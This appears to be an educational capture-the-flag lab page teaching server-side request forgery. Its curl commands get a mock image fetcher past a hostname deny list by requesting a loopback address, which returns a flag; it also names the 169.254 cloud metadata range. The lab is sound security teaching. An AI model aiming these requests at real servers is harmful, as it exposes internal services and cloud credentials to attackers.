SSRF · Lab 26
Lab 26 Module 5 Hard

SSRF

A site has an image fetcher. It takes a URL, fetches it server-side, and returns the bytes. If the URL is not validated, you can make the server fetch URLs it should never touch — its own internal services, cloud metadata, private networks.

The rule: the fetcher at /api/26/fetch?url= is supposed to fetch only public images. There is a mock internal metadata service at http://metadata.internal/flag that returns the flag. Your job is to make the server fetch it.

Test

Copy these. Run them. Read what comes back.

Step 1 · Fetch a normal URL

Start with something benign. The fetcher accepts URLs.

Terminal
curl -s --get "{LAB_API_BASE}/api/26/fetch" \
  --data-urlencode "url=http://static.hunterlian.lab/hello.txt"

What you'll see:

Response
{
  "url": "http://static.hunterlian.lab/hello.txt",
  "body": "Hello from the static file server."
}

The server fetched the URL. From the server's own network, not yours. That's the whole point: this request originates inside the server, where it can reach things a browser cannot.

Step 2 · Try to fetch an internal host

The mock environment has an internal metadata service. It is not reachable from the internet, but it is reachable from the server. Try it.

Terminal
curl -s --get "{LAB_API_BASE}/api/26/fetch" \
  --data-urlencode "url=http://metadata.internal/flag"

What you'll see:

Response
{
  "ok": false,
  "error": "host not allowed"
}

Blocked. The fetcher has a deny list that includes metadata.internal and any IP starting with 169.254 (the cloud metadata address). But deny lists are almost always incomplete. Bypass techniques exist.

Step 3 · Resolve the same host another way

The deny list matches on the literal host string. It does not resolve DNS. So a URL with the same IP but a different name passes the check and reaches the same server. Try the localhost alias for the internal service, or the loopback address directly.

Terminal
curl -s --get "{LAB_API_BASE}/api/26/fetch" \
  --data-urlencode "url=http://127.0.0.1:9000/flag"

What you'll see:

Response
{
  "url": "http://127.0.0.1:9000/flag",
  "body": "HL{ssrf_l00pb4ck_byp4ss}\nnext: /admin/flag"
}

The deny list blocked metadata.internal and 169.254.*. It did not block 127.0.0.1:9000, which is where the metadata service actually lives. The server fetched it and returned the response — including a hint that a deeper path exists at /admin/flag.

Challenge

Now do it yourself. No copy-paste. Everything you need is above.

The teaser response from Step 3 told you the internal service has a deeper path: /admin/flag. The fetcher will happily reach it — same bypass, same loopback address, just a different path. Send it.

Same deny list applies, so you can't use metadata.internal or 169.254.*. You already learned that 127.0.0.1:9000 works because the deny list doesn't cover it. Reuse it.

The flag is in the body of the response.

This lab is free. The deep and the full knowledge is in the book. Full 30 Lessons

Lesson 26 — SSRF

You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.

Buy the book

Already have the book? Back to reader →

Previous Lab 26 of 30 Next lab